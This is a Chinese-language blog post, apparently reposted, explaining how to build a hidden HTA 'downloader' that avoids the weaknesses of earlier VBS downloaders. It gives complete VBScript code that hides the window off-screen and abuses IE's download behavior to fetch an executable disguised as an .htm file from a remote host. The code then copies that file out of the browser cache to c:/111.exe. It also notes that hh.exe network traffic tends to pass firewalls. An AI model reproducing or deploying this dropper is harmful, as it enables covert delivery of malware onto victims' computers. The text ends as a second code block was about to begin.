做一個困難重重的hta下載者
2024-08-26 00:15:44
供稿：網友
一、先說本blog上有兩個比較新穎的vbs下載者，一個是利用CDO.Message組件做的，另一個是用Microsoft.XMLDOM做的，參見//www.jb51.net/article/15506.htm。這兩個下載者一個是利用起來比較麻煩，需要事先把exe進行轉化。第二使用中cscript.exe會訪問網絡，不太隱蔽。第二個是有的機器上并不存在這兩個組件及利用到ADODB.Stream的，所以有些弊端。
二、再來說一下lake2的下載者http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。這個下載者算是不錯了，但是也有問題。一個是如果裝了360等其它的瀏覽器的話，會打開一個ie窗口，并且從注冊表中讀到的ie緩存位置不一定準確。
三、那我們如何來更新這些缺陷？還是有辦法的。我們用hta來寫，這個就比較少見了.hh.exe訪問網絡一般估計會放行的。寫這個下載者要解決的困難有幾下幾點：
（1）.使hta不可見-------------》簡單，移動窗口
（2）.使hta接收命令行參數--------------》本blog上有資料
（3）.不調用上邊一、二大項所說的所有組件-----------》這個我們利用ie的默認行為
（4）.ie緩存的臨時位置---------》我用的環境變量
(5)我們不調用任何組件-------------------》需要手動
四、代碼（直接把參數寫在hta里）
代碼如下:
<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可見
set objshell= Createobject("WScript.Shell")'hta是可以直接調用WScript.Shell的，不過不能調用wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"/Local Settings" '根據環境變量得到下載的路徑
set xml=document.createElement("xml")'建方xml元素調用ie的默認行為
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'請把exe改名放到空間上，用ftp軟件上傳的話，可能不行，直接放比較好
ShowAllFile(downpath)
Sub ShowAllFile(Path) '遍歷查找，直接用lake2的代碼
FindFileName="xx[1].htm" '這個也是你需要改的，如果上邊是xx.htm，這里就是xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"/"&f1.name&"/"&FindFileName) Then
FSO.CopyFile path&"/"&f1.name&"/"&FindFileName, "c:/111.exe" '保存到c:/111.exe，可根據需要改動
'document.write "[+]Download Success !"
End If
ShowAllFile path&"/"&f1.name
Next
Set FSO = Nothing
End Sub
window.close
</script>
用法是：把exe好比xx.exe改名放到空間上，然后命令行下或雙擊這個hta就可以了。
五、另一份代碼（傳命令行參數）
我個人覺得第四部份的代碼比較好，修改一下用就可以了。如果調用命令行參數的話，我發現還是會出現hta小窗口，下載完后才關閉，所以這不太好。代碼：
